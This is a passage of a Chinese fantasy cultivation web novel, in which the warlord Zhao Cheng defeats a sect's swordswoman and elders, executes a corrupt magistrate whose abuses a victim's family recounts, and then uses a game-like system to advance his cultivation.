“怎么会……”
她眸中满是
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难以置信的惊骇。
先前见赵诚真元浑厚、防御无懈可击,已觉此人深不可测。
可此刻才发现,他连阴阳术中,最隐秘的符印秘术都精通到如此地步!
这魔头,简直是个全能的怪物!
“逮到你了!”
赵诚的冷喝如同雷霆,在轰鸣的战圈中骤然炸响。
云渺刚从精神反噬的剧痛中勉强回神,视野还带着几分模糊,便见一道漆黑的戟影如乌云压顶,带着劈山断岳的威势在眼前不断放大。
那戟尖寒芒森森,连周遭的空气都似被劈得扭曲,扑面而来的罡风刺得她脸颊生疼,连呼吸都滞涩了几分。
“糟了!他本来的目标就是我!”
云渺心头咯噔一下,瞬间醒悟过来。
先前赵诚攻击老道、逼退亦清,根本不是被牵制,而是围点打援,等着她因心急救援而露出破绽!
这等步步为营的算计,与他之前横冲直撞只会蛮力对抗的形象截然相反,分明是个心思缜密的狡猾之辈!
可此刻醒悟已太晚。
精神反噬让她体内真元紊乱如乱麻,经脉隐隐作痛,连抬手挥剑都觉得吃力,更别提施展“流风回雪”那般精妙的身法闪躲。
绝境之下,她只能咬牙激发早已暗中铺垫的杀招。
万川秋水剑阵!
这剑阵自两人开战起,她便借着游走的间隙,将一缕缕极细的剑气埋在周遭空间的每一处角落。
田垄的泥土里、洺水的水汽中、甚至是掠过的风里,只待剑气积累到“万川秋水”的地步,再一举爆发,斩下赵诚头颅。
可如今身陷死局,她已顾不得完整威力,只能提前催动!
“万川秋水剑,起!”
云渺剑指猛地一挑,苍白的脸上泛起一抹病态嫣红。
随着她的喝声,赵诚周身丈许范围内,骤然爆发出无边无际的剑气。
好似寒潭笼罩这片天地,澄澈透明,光影氤氲。
无数道剑气纵横交错,像寒潭中倏忽来去的游鱼,快得只留下一道道残影,瞬息间便在这片空间里斩出千万次。
第222章 宝体破阵惊仙魄,戟裂深堑定庶心
“嗤嗤嗤嗤”的切割声密集得如同骤雨打蕉叶。
赵诚周身的护体真元厚重而坚韧,可在这无边剑气的反复斩击下,竟如抽丝剥茧般层层开裂。
眨眼间被切割得千疮百孔。
不过呼吸间,剑气便突破了所有真元防御,直抵赵诚的肌肤表面,甚至有几道锋利的剑气擦过他的脖颈,带起几根黑发飘落。
“有效!”
云渺眸光骤然一亮,心头涌起一丝希望。
虽提前激发让剑阵威力折损了数成,可至少斩尽了赵诚那浑厚如海的护体真元!
众所周知,修士最为强大的,就是苦修多年凝聚出来的一身真元。
若是护体真元被斩尽,那面对她这万川秋水剑阵,赵诚的身体只会脆弱的如同婴儿。
这样一来,他便只能退而回防。
而云渺则能借此机会反转局势,化被动为主动!
借着剑气的掩护重整真元,继续用游走战术铺垫剑阵。
一步先,步步先!
不给赵诚任何机会重整护体真元,压着他打,直至将他斩于剑下!
只是瞬息之间,云渺的心中已经预演好了一切。
甚至将所有细节都了然于胸。
可下一秒,她脸上的自信便僵住了,取而代之的是深入骨髓的惊骇。
只见赵诚面对漫天夺命剑气,竟连眼皮都没眨一下,非但不闪不避,握戟的手臂反而猛地加力,大戟砸落的速度更快了几分!
那架势哪里是要防守,分明是要弃自身安危于不顾,与她以命换命!
“疯子!他怎么敢!”
云渺瞳孔骤缩,心脏狂跳。
她自幼在山上修行,与人切磋不计其数,却从未见过如此悍不畏死的打法。
明明已被剑气逼到近前,竟还一门心思只攻不守!
可更让她心神剧震的景象还在后面。
那些能轻松斩断精钢的秋水剑气,落在赵诚裸露的手腕与脖颈肌肤上时,竟只发出“叮当”的脆响,像是铁剑砍在了千年寒铁上!
剑气四散崩裂,赵诚的肌肤上连一道浅痕都没留下,顶多只泛起一丝白印,转瞬便消失无踪。
“他的肉身……竟强横到这种地步?”
云渺脑海中一片空白,只剩下难以置信的震惊,“他甚至还修有横练宝功!?”
此时此刻,她终于明白赵诚为何不避。
在这铜皮铁骨般的肉身面前,她的剑阵根本造不成威胁!
可醒悟得太晚了。
赵诚的大戟已近在咫尺,戟尖裹挟的真元罡风如利刃般扫过,将她头顶的几缕青丝齐齐切断。
那青丝飘落的慢动作里,云渺甚至能清晰地感受到死亡的阴影。
冰冷、沉重,压得她几乎窒息。
“竟然……要死在这里吗?”
她闭上眼,脑海中闪过天宗的山门、长老们的关切,心头泛起一阵不甘。
“师侄!”
就在这千钧一发之际,远方传来几名老道撕心爆喝。
龟甲老道手中的龟甲“咔嚓”一声彻底爆碎,碎片飞溅,他一口鲜血喷出,却仍死死盯着云渺的方向。
阵法老道的阵盘也同时开裂,土黄色的阵纹瞬间黯淡,他却猛地将剩余的所有真元灌入阵盘,嘶吼道:“乾坤移位,速走!”
一道辉光从阵盘上爆发而出,如闪电般沿着地面延伸,速度快得不可思议。
青芒瞬间蔓延至云渺脚下,与云渺腰间的一枚寒玉交相辉映。
下一刻,云渺只觉得一股温暖却强劲的气流将她包裹。
还没等她反应过来,眼前的景象已骤然变换,赵诚那带着杀意的脸消失不见,取而代之的是七名老道苍白的面容。
“轰——!”
几乎在云渺被传送走的同时,赵诚的大戟重重砸在她先前站立的位置。
只听地动山摇的巨响,地面裂开一道深达丈许、长逾十丈的沟壑,泥沙飞溅如暴雨,周遭的粟苗被震得连根拔起,洺水支流的河水都被这股冲击力掀得倒灌上岸。
赵诚握着戟杆,缓缓抬起头。
身前早已空无一人,只有那道狰狞的地缝证明着方才的攻击有多猛烈。
他转头望向老道们先前所在的方向,那里只剩下破碎的阵盘碎片、几滴溅落的血迹,以及被震得东倒西歪的杂草。
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显然,对方已借着阵法传送逃得无影无踪。
“道家的手段,还真是层出不穷。”
赵诚皱起眉头,暗红大氅在风里翻卷,眸中闪过一丝冷意。
他能察觉到空气中残留的阵法波动,沿着这条线占卜追索,却也只抓到一片朦胧。
看了片刻,赵诚突然笑了起来,“有点意思,看来现在的修为有些不够用了。”
“也是时候推演一下,提升提升修为了。”
他看了看周围。
田垄间,战斗的余波仍在回荡。
裂开的地缝里渗着河水,被剑气斩断的粟苗散落一地。
周遭的百姓还瘫在地上瑟瑟发抖,连大气都不敢喘,望着赵诚的身影,惊骇如见神明。
“这……跑了?”
“武威君连神仙都能打跑……”
他们一开始见到云渺,已经将云渺等人,当成了天上下来的神仙。
毕竟那等仙气飘飘的气质,太符合他们心目之中的神仙形象了。
但却没想到,七个老仙加一个仙女,竟然被赵诚一人一戟挑翻了,狼狈逃走。
自此,武安城的百姓更是连看一眼赵诚都胆战心惊。
至于王博等官员,更是面如金纸,抖若筛糠,已然有不少人尿了裤子。
赵诚扫了他们一眼,“斩!”
血衣军立刻上前,手起剑落,当众斩下王博一部所有人的头颅。
“即日起,武安城行秦制,清丈土地,按户授田,润田机家家户户都可租用。”
声音落下,却无欢呼响起。
百姓们还沉浸在这一战的惊骇之中,连头都不敢抬,心里面再高兴,也不敢出声。
赵诚也不在意,转身带着墨官和血衣军回城去了。
等他走后良久,百姓们才长出一口气,三三两两聚在一起坐在田垄上,一边揉着自己发软的腿肚子,一边互相确认刚刚的事情是不是真的。
当确认了不是做梦。
他们才在面面相觑之中,渐渐露出了笑容。
笑声从微弱压抑,渐渐变的放松开怀,传荡在这大战过后满目疮痍的田垄之上。
……
第223章 残仙遁野依茅舍,庶怒闻屠震碎瓯
“该死的魔头,竟妖孽至此!”
暮色沉沉的荒山野岭间,水波般的涟漪突然在半空荡开,渐渐凝成八卦太极图的虚影。
虚影闪烁几下,便“啵”地碎裂开来,几道身影如断线纸鸢般坠落,重重砸进齐腰深的灌木丛里,枝叶哗啦作响,溅起一片泥土与草屑。
亦清和乐成摔在最外侧,虽也撞得腰背酸痛,却还能勉强撑着坐起。
两人本就不是主战场主力,只是被余波波及,顶多沾了些草叶泥土,衣袍磨破了几处边角。
可云渺与七位长老就狼狈多了。
云渺头痛欲裂,眼前阵阵发黑,身上更是阵阵冰凉,还沉浸在之前差点死于大戟之下的阴影之中。
一旁的七位老道更是个个身形踉跄。
有位老道的道冠摔飞了,花白的头发散乱在肩头,嘴角挂着血迹。
另一位扶着树干咳嗽不止,每咳一声,胸口便剧烈起伏,像是震伤了内腑。
龟甲老道的状态更糟,他盘腿坐在地上,原本握在手里的龟甲已碎成数片,散落在身旁,脸色灰白得像蒙了一层尘土,神容枯槁,连睁眼都显得费力。
而那位擅长阵法的五长老,此刻正靠在另一名长老怀里,双目紧闭,呼吸微弱得几乎看不见胸口起伏,嘴角的血迹已凝固成暗红,进气少、出气多,已经是奄奄一息。
“五师叔!您怎么样?”
反应过来的云渺第一时间发现了五师叔的状况,立刻如风一般掠来,查看他的伤势。
“他见你有性命之危,失了方寸,原本就要维持着那七星阵,又强行施展乾坤移位这等消耗极大的阵法,耗去了他太多本源,不立刻帮他补回,怕是要有性命之忧!”
云渺脸色一暗,眸中涌上慌张,“都怪我!若我不贸然出手,便不会……”
大长老摇了摇头,“不需如此,不怪你,要怪就怪那个小魔头太强了。
现在当务之急,是要找一个清净之地,我们几个一起出手帮他稳固伤势,再花上几年功夫慢慢调养,应该没有什么大问题。”
云渺用力点头,抹了把眼角的湿意,“我这就去寻落脚之处!”
几位还能动弹的老道轮流背起龟甲老道和五长老,深一脚浅一脚地往山下走。
暮色渐浓,林间的风带着凉意,乐成忍不住小声嘀咕:“此地离武安城不过数十里,那魔头会不会追出来?”
“放心。”
二长老沉声道,“你四师叔在挪移的时候就想到了这一点,已经出手屏蔽天机。
这一下他下了狠力气,那小魔头若是还能追上来,那就合该我们交代在这里。”
想起四长老的卜算之术,云渺悬着的心稍稍放下。
一行人又走了约莫半个时辰,穿过一片茂密的杂树林,忽然望见前方山腰处亮着一点昏黄的亮光。
竟是一间简陋的民房,茅草屋顶,土坯墙壁,烟囱里还飘着一缕淡淡的炊烟。
“咦?这深山老林里,怎会有人定居?”
亦清停下脚步,有些疑惑地打量着那间屋子。
乐成摸了摸下巴:“莫不是哪位隐世的道友,在此清修?”
大长老快步上前,在木门上轻轻叩了三下:“贫道等人途经此地,同伴重伤,望屋主行个方便,借贵地暂歇片刻。”
门“吱呀”一声开了,一位老妪探出头来。
她穿着洗得发白的粗布短褂,袖口磨出了毛边,头发用一根木簪简单挽着,眼角的皱纹里沾着些许灶灰。
见门外站着几位衣衫破损的老道,还背着两个昏迷的人,老妪先是愣了愣,随即眉头皱了皱,却没多问,连忙侧身让开:“快进来吧,屋里地方小,委屈诸位了。”
进屋后,众人才发现屋子格外简陋。
泥土夯成的地面坑坑洼洼,靠墙摆着一张缺了腿的木桌,用石头垫着才勉强平稳。
角落里堆着几捆干柴,散发着潮湿的气息。
屋里还坐着两个人。一个瘸腿的中年人靠在墙角,右腿用粗木和麻绳固定着,裤管空荡荡的,脸上胡茬杂乱如草,一双眼睛布满红血丝,像只警惕的困兽。
见他们进来,眼神里瞬间涌上浓浓的敌意,却又很快压了下去。
还有一个约莫五六岁的幼童,穿着打补丁的短衫,怯生生地躲在中年人身后,小手紧紧攥着中年人的衣角,偷偷打量着他们。
云渺等人此刻满心都是两位长老的伤势,无暇顾及其他,匆匆谢过老妪,找了间最里侧的小隔间,便立刻开始为五长老和四长老调理伤势。
隔间里光线昏暗,几位老道围着两人盘膝而坐,全力为两人调息。
直到傍晚时分,才听见大长老
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长长舒了口气:“稳住了,暂时没有性命之忧。”
这时,一股淡淡的粥香从外间飘进来。
乐成的肚子“咕咕”叫了两声,他才猛然想起,从清晨开战到现在,两人滴水未进。
他们修行尚浅,还没到辟谷的境界,早已饿得前胸贴后背。
“几位道长,出来喝点粥吧。”
老妪的声音在外间响起,带着几分温和。
亦清和乐成有些不好意思地走出去,只见木桌上摆着几只粗瓷碗,碗里盛着清汤寡水的粥,里面只有零星几粒米。
老妪把粥推到他们面前:“家里穷,没什么好东西,委屈二位了。”
两人端起碗,刚喝了两口,就见那幼童站在一旁,眼睛死死盯着碗里的粥,喉结悄悄滚动了一下,却没敢伸手。
亦清心里一软,把自己的碗往幼童面前递了递:“孩子,你也喝吧。”
幼童往后缩了缩,摇了摇头,又躲回了中年人身边。
老妪端着碗,看着亦清和乐成,犹豫了片刻,还是忍不住问道:“几位因何流落到此?我看那两位道长好似受伤不轻,难道是中了什么毒?”
亦清放下碗,叹了口气,语气里满是愤懑:“我们本在山中潜修,听闻山下有魔头乱世,屠戮百姓、残害忠良,便下山想拨乱反正。
谁知那‘血屠’赵诚修为深不可测,我这几位师叔全力出手,竟也不是他的对手,还被他打成重伤。”
“血屠?血屠……”
老妪端碗的手顿了一下,碗沿的米汤晃出几滴,脸色瞬间变得苍白,眼神里闪过一丝复杂的情绪,“你们说的……可是如今武安城的武威君?”
“正是他!”
乐成咬牙切齿地接话,“就是他,此人屠戮百姓,残暴不仁,那武安城的县令,明明是为民**的好官……”
“胡说八道!”
“噼啪!”
话音刚落,一直沉默的中年汉子突然暴怒,猛地一拍桌子,粗瓷碗被震落在地,碎片溅了一地。
他瘸着腿挣扎着站起来,胸口剧烈起伏,眼里的红血丝几乎要渗出血来,嘶吼着吼出一句话,又踉跄着冲回里屋,“砰”地一声摔上了房门,震得屋顶的茅草都簌簌往下掉。
老妪看着地上的碎碗,嘴唇动了动,却终究只是叹了口气,没有说话……
第224章 庶诉沉冤震茅舍,仙窥真相破错观
亦清和乐成面面相觑,满脸茫然:“这……这是怎么了?我们说错什么了吗?”
“唉!”老妪叹息一声,也没有多说什么。
亦清见气氛沉闷,想转移话题,目光落在躲在门后的幼童身上,便从头上拔下一支素雅的玉钗。
那是他入门时师父送的,虽不贵重,却也精致。
他笑着递到幼童面前:“孩子,我们叨扰了半日,也没带什么谢礼,这支玉钗送给你,回头你拿给娘亲,她定会欢喜的。”
幼童却往后缩了缩,小手攥得更紧了,眼圈泛红,倔强地别过脸,转身跑进了里屋,连门都轻轻带上了。
亦清举着玉钗,僵在原地,更茫然了:“这家人……怎么都怪怪的?”
屋子里的气氛愈发沉闷,只剩下灶间柴火偶尔“噼啪”的声响。
亦清和乐成无奈,只好凑在一起小声交谈。
“可惜了,没能把王县令他们一起救出来。”
亦清压低声音,语气里满是惋惜,“那血屠那般残暴,王县令他们怕是……”
“唉,能把我们救出来,几位师叔已经拼尽全力了。”
乐成叹了口气,“那乾坤移位阵法本就耗损极大,再多带几个人,怕是连我们都走不了。
依那血屠的性子,王县令一部此刻恐怕早已人头落地,说不定连三族都要被株连!”
“真是可惜了一位好官……”
“嘭!”
突然,里屋的房门被猛地撞开,中年汉子踉跄着扑了出来,膝盖重重磕在地上,磨出了血印。
他却像感觉不到疼,双手死死抓住亦清的裤脚,仰着头,眼里满是疯狂的期待,声音因激动而颤抖:“你们……你们刚才说什么?
王博他……他**了?
被夷了三族?”
“是啊,可惜……”
亦清和乐成以为他是因王博**而激动,便遗憾的点了点头。
谁知可惜的话还没说完,中年汉子突然状若癫狂,猛地松开手,瘫坐在地上,扬天狂笑起来。
那笑声里没有半分悲伤,只有压抑了许久的狂喜,眼泪顺着他满是胡茬的脸颊滚落,混合着泥土,显得格外狼狈,却又无比畅快。
“哈哈哈哈!好!杀得好!杀得太好啦!”
他拍着大腿,笑得几乎喘不过气,“王博!你这狗官!你早就该**!
你全家都该死!
武威君!他替我报了血仇啊!”
亦清和乐成瞪大了眼睛,嘴巴张得能塞进个鸡蛋,怔怔地看着他,完全摸不着头脑:“他……他这是发失心疯了?”
外间的动静惊动了隔间里的云渺等人,他们纷纷走出来,看到瘫在地上狂笑的中年汉子,都愣住了:“这是怎么回事?”
老妪站在一旁,用围裙擦了擦眼角的泪水,浑浊的眼睛里满是悲伤与释然。
她望着众人,声音沙哑得像被砂纸磨过,每一个字都浸着苦水:“诸位道长……你们有所不知……”
“我们一家之所以躲在这深山里,过着与世隔绝的日子,全是被那王博逼的!”
她抬手抹了把眼泪,浑浊的眸子里却透着几分如释重负的狂喜,眼泪砸在粗布围裙上,晕开一小片深色的痕迹。
“现在他终于**!真是苍天有眼,武威君英明啊!”
“这……”
众人齐齐愣住,一时间竟忘了言语。
云渺下意识握紧了剑柄。
她想起在武安城街巷里,百姓们提起王博时那句“王县令是个好官”。
想起田垄间,王博跪地护田时百姓们感动的哭声。
想起自己为了“救”这个“父母官”,毅然决然出手与那血屠大战,甚至为此而连累诸位师叔……
可眼前这家人的反应,却与她记忆中的一切截然相反。
这不合理!
正常来说,王博若真是“青天老爷”,这家人得知他死讯,不该是愤怒或悲痛吗?
为何老妪满脸释怀,中年汉子更是欣喜若狂?
这到底怎么回事?
难道……那血屠编织的那车罪名,都是真的?
王博当真不是好官,而是个贪官墨吏?
还是说,这一家人才是人人喊打的**,王博只是惩奸除恶,却被这一家恶人认为是针对?
可不管怎么看,眼前这家子人都不像是什么恶人。
若是恶人,又怎么会在见到有人重伤时,立刻就让人进屋?
又怎么会在家中米粮无多时
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,还拿出大部分米粮招待他们这些来路不明的道士,而自己只喝那些清汤寡水?
云渺有些茫然。
“可我在武安城时……见百姓们都称他‘父母官’‘青天老爷’,”
云渺终究还是按捺不住质疑,声音里带着几分不确定,“他在田垄间为百姓护田,模样也不似作伪……”
“假的!都是假的!全是惺惺作态!”
中年汉子猛地抬起头,胸膛剧烈起伏,胡茬间的嘴角因愤怒而扭曲,眼中的红血丝几乎要渗出血来。
他怒喝一声,声音像从牙缝里挤出来,几乎咬出血来,“什么狗屁好官!
他那副‘两袖清风、一心为民’的样子,全是装给外人看的!
背地里,他勾结豪绅、淫**女、占人良田、逼良为娼,他就是武安城最该下地狱的恶鬼!”
这话像一道惊雷,在众人耳边炸开。
云渺心头猛地一震。
这些罪名,竟和赵诚在田垄上宣读的如出一辙!
她下意识看向亦清和乐成,两人也满脸震惊,眼神里写满了“难以置信”。
这家人躲在深山,下山一趟难如登天,绝不可能和赵诚提前串通。
可他们说的,偏偏和赵诚的话完全对上了。
难道……事情的真相,真的是如他们所说?
亦清定了定神,蹲下身,尽量让自己的语气平和些,“兄台,你能不能……把事情的经过和我们说说?
我们实在没能看出来,那王博竟是这样的人。”
中年汉子沉默了良久,胸膛的起伏渐渐平缓。
或许是因为王博已死,压在心头数年的巨石终于落地,他深深吸了两口气,带着铁锈味的空气涌入肺腑,才缓缓开口。
“五年前,我还是赵国的兵卒,”
他说起往事,眼中闪过一丝短暂的光亮,像是想起了曾经的好日子,可很快就被阴霾覆盖。
“在战场上,我杀过秦兵,立过战功,战后得了三十亩良田的赏赐。
那时候,我妻子刚怀了孩子,我们想着,等孩子出生,就靠这田过日子,好好把他养大……
日子本来该越来越好的。”
“可没过多久,钱家就找上了门。”
第225章 血泣沉冤揭伪善,仙惭道心起颤澜
他提到“钱家”二字,牙齿咬得咯咯响,“他们说我家的田靠近洺水,是块好地,想低价买走。
那是我拿命换来的基业,是我们一家三口的活路,我怎么可能卖?”
“我没答应,钱家就恼了。”
他的声音渐渐低沉,带着压抑的痛苦,“他们直接找到了王博。
那时候王博名声很好,我也还以为他是个清官。
可谁知道,他们早就勾结在了一起!
在他们找到了王博之后,王博联合钱家,找了个‘**钱家财物’的莫须有罪名,就把我抓进了县衙大牢。”
“我妻子急坏了,抱着我的军功册,揣着家里仅有的几两银子,去县衙求王博,为我找回清白。”
说到这里,他的声音突然哽咽,双手死死攥着地上的泥土,指缝里渗出血来,“可那王博……那畜生!
他见我妻子生得清秀,竟和他的手下一起,把我妻子强行拖进了后堂……”
老妪在一旁听得浑身发抖,眼泪像断了线的珠子往下掉,却只是轻轻拍了拍汉子的背,一句话也说不出来。
“事后,王博还派人传话,说要赎我出去,就得先还了我偷钱家的东西,求得钱家的谅解,再用大把银子来赎人。“
“我妻子相信我不会偷钱家的东西,但却没有任何办法能够证明我的清白,走投无路之下,只能忍着**,把田给了钱家,又百般恳求,才换取所谓谅解。”
“而后她更是跪着借遍邻里,才勉强凑够了银子。”
汉子的声音里满是绝望,“可她拿着钱去赎我,王博又出尔反尔,说‘银子不够’,逼着她去钱家做娼妓,侍奉那些老东西,用‘伺候费’抵银子!”
“我妻子……她是个多好的人啊。”
他低头看着自己空荡荡的裤管,声音里满是悔恨,“她受不了那样的**,可又想着要救我出来,只能咬牙忍了。
直到钱家彻底占了我的田,又欺辱够了她,王博也赚够了钱,才把我从牢里放出来。”
“我回家的时候,只看到她留下的一封信,说‘无颜见君,来世再做夫妻’。”
他猛地捶了一下地面,碎瓷片划破了掌心,鲜血直流,他却浑然不觉,“我沿着洺水找了三天,才在下游找到了她的尸体……
她怀里还揣着我们孩子的虎头鞋啊!”
说到这里,他的声音突然拔高,带着歇斯底里的恨意。
“我不服!我为赵国立过功、拼过命,他们凭什么这么对我?
那时候我还傻,以为是钱家陷害我,王博只是被蒙蔽了,我还想着去县衙告钱家!
结果……结果又落到了王博手里!”
“这一次,他终于露出了真面目。”
汉子的眼神里满是死寂,“他笑着告诉我,所有的事都是他安排的,还把我妻子受的那些**,一字一句地说给我听!
然后,他命人打断了我的腿,说‘让你再敢告官’!”
“我在战场上,能一战杀五个秦兵!”
他猛地站起身,瘸着腿踉跄了两步,眼中迸发出滔天恨意,“可面对他们,我连反抗的机会都没有!
他们把我像死狗一样扔出县衙,还说‘再敢回来,就杀了你那老母亲和没出生的孩子’!”
“我想过拼了这条命,和他们同归于尽!”
他看向老妪和里屋的方向,声音突然软了下来,带着几分哽咽,“可我看到我娘抱着襁褓里的孩子,跪在我面前哭,说‘你**,我们娘俩也活不成了’……
我只能认怂,带着她们躲进了这深山,靠采野果、种些薄田勉强过活。”
“幸好……幸好老天有眼!”
他突然仰天,声音里满是畅快的哭腔,“武威君杀了他!杀了这奸贼!报了我的血仇啊!”
他说着,嘴角不知何时被咬破了,鲜血顺着下巴往下淌,混着眼泪,像一头从地狱里爬出来的恶鬼,眼中的恨意几乎要将空气点燃。
云渺等人站在原地,浑身发冷,却像被冰水浇透了。
云渺的脸颊火辣辣的
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,像是被人狠狠扇了一巴掌。
她想起自己当初在田垄间,剑指赵诚,怒斥他“屠戮良吏”。
想起自己当着那些百姓的面,为了那可恶的贪官拼命。
想起自己还曾暗赞王博“为民**”
甚至因为最后没有能够救下王博而暗暗惋惜不甘……
如今想来,这些举动何其可笑,何其荒唐!
亦清和乐成更是羞愧得头都抬不起来。
他们之前还在这家人面前,惋惜“没能救下好官王博”,还抱怨赵诚“残暴”,可现在才知道,他们惋惜的,竟是一个逼死功臣之妻、打断功臣之腿的恶贼。
他们斥责的,却是为这家人报仇雪恨的人!
“原来……是我们瞎了眼。”
云渺的声音里满是苦涩,她不敢再看中年汉子的眼睛,只能低头盯着地上的碎碗,“那王博竟然如此人面兽心,连为赵国立过功的战士都不放过……”
“赵诚说的,根本不是莫须有的罪名。”
大长老叹了口气,声音里满是复杂,“那些罪状,竟是实打实的血债……”
“唉,山下的事果然诡谲难测……”
三长老深深闭目,不忍再看这一家人,心中,更是汹涌着说不出的滋味。
屋子里静得可怕,只有中年汉子压抑的哭声,和老妪轻轻的叹息。
窗外的暮色越来越浓,将这间简陋的民房裹在阴影里。
云渺想起入城时百姓们如**赖那所谓青天老爷,又如何恐惧那所谓血屠阎罗……
想起赵诚带着墨官和血衣军推行试验润田机时,周围百姓们那发自内心的喜悦和激动。
想起赵诚当众颁布新政分田时候,百姓们的狂热和不敢置信。
想起自己站出来阻挠行刑时,赵诚那讥诮的眼神,和懒得解释的蔑视……
一切的一切,都像是突然开锋的利刃,刺入她的道心之中。
她第一次感受到这尘世人心的复杂,那颗坚定澄澈的道心,在夜色里不断摇曳战栗着……
第226章 铁腕清奸安城民,玄关炼气化丹元
接下来的几日,武安城的风都带着一股涤荡尘埃的凛冽。
王博残余的属吏、钱家豢养的爪牙,被血衣军与新上任的秦吏逐一揪出。
从县衙库房里搜出的贪腐银钱,用麻袋堆了半条街。
钱家老宅地窖里藏着的田契,铺在地上能绕院子三圈。
行刑场设在城南的空地上,鲜血横流。
刽子手的刀光每闪过一次,便有一颗头颅滚落尘埃。
曾经作威作福,脑满肠肥的大山崩了一地。
钱家老爷被按在断头台上时。
曾被他强占三亩水浇地的老佃户张老汉,拄着拐杖挤在人群最前排,浑浊的眼睛里淌着泪,却笑着念叨:“俺这口气,终于有人给俺出了……”
还有被钱家逼死儿子的李寡妇,抱着儿子的木牌位,在刑场下磕了三个响头,额头渗出血都浑然不觉。
围观的百姓没有半分恐惧,只有压抑多年的畅快。
这是他们头一次觉得,压在武安城头顶多年的乌云,终于彻底散了。
拨云见日的希望感,涌现在每一个人的心里。
清丈土地、按户授田的差事,在扶苏与新任田正的主持下稳步推进。
田吏们扛着丈量土地的步弓,带着绘制田图的笔墨,逐村逐户地核对田亩。
城郊的河谷地算“上田”,土质肥沃、靠近水源。
山脚的坡地算“中田”,需引水灌溉。
偏远的旱地算“下田”,却也足够养家。
每一户接过烫着“武安君”红印的田契时,反应都如出一辙。
先是愣愣地盯着田契上的名字,手指反复摩挲着红印,确认不是梦后,便“扑通”跪在地上,对着武安君府邸的方向连连磕头,声音哽咽得说不出话。
城西的王二柱,祖祖辈辈都是钱家的佃户。
拿到上田田契的那天,他抱着田契在自家新田里打滚,把泥土抹得满脸都是,恨不得把那土吃进肚子里。
连三岁的儿子都跟着他趴在田里,抓着泥土咯咯笑。
整个武安城,都浸在这种“有田可种、有盼头”的新希望里。
胡饼炉的油烟比往日浓了三分,针线铺的老板娘开始织新花色的布,连孩子们在巷子里追逐时,笑声都比以前响亮了许多。
而被大家伙时时念叨的赵诚,却并未置身于这份热闹之中。
他征用了王博先前的府邸作为临时住所。
这座曾堆满贪腐之物的宅院,如今已被清扫得干干净净。
正厅已经被改造成临时闭关之地,门窗紧闭,只留一盏长明灯在案上摇曳,烛火映着墙上悬挂的《武安城舆图》,也投下斑驳的光影。
赵诚盘膝坐在蒲团上,玄甲已卸下,只着一件玄色内衬,指尖无意识地敲击着地板,脑海中反复回放着与云渺、天宗老道的那场战斗。
“那白衣女子看着不过双十年华,修为却好似已经成丹了。”
他暗自思忖,指尖凝聚起一缕淡金色真元,真元在掌心流转间,还带着几分与云渺交手时残留的剑气痕迹。
“她的真元强度、浑厚程度虽不如我,可身法太滑溜,那种剑阵的剑气锋锐又密不透风,若不是我肉身强横,怕是要被她的剑气破防。
还有那七名老道的七星阵,七人合力竟能短暂扛住我的全力一击。
加上龟甲老道的屏蔽天机、阵法老道的传送能逃命,手段层出不穷。”
他轻轻叹了口气,将掌心的真元散去,“先前破赵国、灭韩军时,还以为天下高手不过尔尔,很难遇到几个。
如今再看。
这世上藏龙卧虎之辈,恐怕远比想象中要多。
天宗只是其中一脉,说不定还有其他隐世宗门、世家传承的强者。
若不尽快提升实力,日后遇上境界更高的对手,怕是要吃亏。”
“眼下有两条路,要么精研技法,弥补身法、招式上的短板。
要么猛攻修为,先突破到结丹境,以境界压制对手。”
赵诚
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皱着眉,脑海中闪过与云渺缠斗的画面。
当时他虽以真元压制对方,却因身法不及,始终无法将其锁定。
“技法再强,若遇上境界碾压的对手,终究是杯水车薪。
可若修为上去了,哪怕对方技法精妙,我的真元、肉身足以形成降维打击,任他手段再多,也破不了我的防御。”
“而且,我的周天星斗纳真诀已经极尽完美。如今还未结丹,已经能够对付他们那些成丹高手。
若以此功结丹,她再想从我手中逃走便是痴人说梦。“
思索良久,赵诚眼中闪过决定,“先提修为!
结丹之后,真元会迎来质变,到时候再回头打磨技法,事半功倍。”
他看向系统。
【宿主:赵诚】
【当前寿命:143596年】
【当前武学:炼体功(大圆满)、周天星斗纳真诀(窍境)】。
看着“143596年”的寿命数值,赵诚嘴角勾起一抹了然。
征战赵国杀戮虽然不多,但十四万的寿命值,已经足够他提升许多。
“系统,兑换八十枚聚元丹、一百枚悟性丹。”
聚元丹的性价比他早已算得明明白白,一枚需消耗一千年寿命,但其蕴含的天地元气却精纯得不含半分杂质,比他自行修炼千年凝练的真元还要浑厚三倍,更是精炼无比。
只是这周天星斗纳真诀太过强悍,对元气的需求也远超寻常**。
寻常**结丹,靠自身修炼辅以三五枚聚元丹的元气量便足够,可他若想将周天星斗纳真诀窍境的真元打磨到极致再结丹,所需元气堪称海量。
“幸好有寿命推演和聚元丹双重辅助,不然单靠自行修炼,不知要等到何年何月。”
“投入寿命,推演修炼周天星斗纳真诀!”
【第一年,你修炼周天星斗纳真诀,通过周天星窍吸纳无边天地元气,不断涌入丹田之中,丹田之中的真元愈发浑厚汹涌……】
第227章 丹凝星窍通玄境,御空显威纵云巅
【第一年,你修炼周天星斗纳真诀,催使周身上下三百六十五处窍穴齐齐嗡鸣,引动天地间游离的元气如潮水般涌入。
这些元气经大窍淬炼后,化作淡金色的真元,源源不断汇入丹田。
丹田之中,渐渐泛起真元流动的“潺潺”声,如溪涧初成,朝着江海之势缓缓累积……】
【第三千年,丹田中的真元已从溪涧汇成**,一眼望去,淡金色的真元之海在丹田内起伏翻涌,拍打着丹田壁,发出沉闷的轰鸣。
你不再一味吸纳元气,而是运转**开始凝练真元,以周天大窍共鸣为炉,将真元海中心的元气不断压缩。
原本的玉液真元渐渐变得粘稠,如融化的蜜糖般,在掌心流转时竟能拉出细丝……】
【第六千年,经三千年凝练,你丹田中的真元已彻底褪去“蜜糖”之质,化作通透莹润的玉髓状。
每一缕真元都凝实如固态,散发出温润的金光。
丝丝缕缕都有山岳之重……】
【第七千年,真元的质量在聚元丹的加持下持续攀升,从“普通玉髓”进阶为“琉璃玉髓”。
可总量却丝毫未减,反而因元气补充,真元海的范围又拓宽了半分……】
【第一万年,丹田中的真元终于凝练到极致。
你引动**,将真元海缓缓向上托起,淡金色的真元海脱离丹田壁,在丹田上空旋转凝聚,渐渐化作一枚直径丈许的“真元玉髓圆球”。
圆球表面氤氲的辉光将整个丹田照得透亮,每一次旋转,都有细碎的玉髓脱落,又被圆球重新吸回,仿佛在进行最后的压缩……】
【第一万三千年,真元玉髓圆球的旋转速度陡然加快,表面的光华愈发清晰。
突然,圆球核心爆发出刺眼的金光,将玉髓尽数熔化,而后以极为缓慢的速度向内坍缩。
……】
